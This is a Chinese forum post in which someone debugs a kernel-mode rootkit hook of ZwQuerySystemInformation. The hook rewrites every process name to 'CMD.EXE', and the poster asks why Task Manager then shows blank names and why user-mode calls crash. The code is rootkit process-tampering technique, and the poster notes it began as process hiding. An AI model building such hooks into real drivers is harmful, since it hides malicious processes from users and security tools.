hook了ZwQuerySystemInformation
新函数试图修改进程名字。(原来隐藏进程修改的,hook成功的)
可是加载驱动后,任务管理器里面的进程名都变空白了。
自己在用户层调用ZwQuerySystemInformation (5,。。)后程序崩溃了。
请问问题出在哪里?
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
CHAR aProcessName[PROCNAMELEN];
GetProcessName( aProcessName );
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS( rc ) )
{
if(0 == memcmp(aProcessName, "_root_", 6))
{
DbgPrint("rootkit: detected system query from _root_ process\n");
}
else if( 5 == SystemInformationClass )
{
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
DbgPrint("rootkit: NewZwQuerySystemInformation() from %s\n", aProcessName);
while(curr)
{
if(curr->ProcessName.Length!=0)
{
DbgPrint("%ws\n",curr->ProcessName.Buffer);
curr->ProcessName.Length=14;
curr->ProcessName.Buffer=L"CMD.EXE";
}
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
}
return(rc);
}
[课程]Android-CTF解题方法汇总!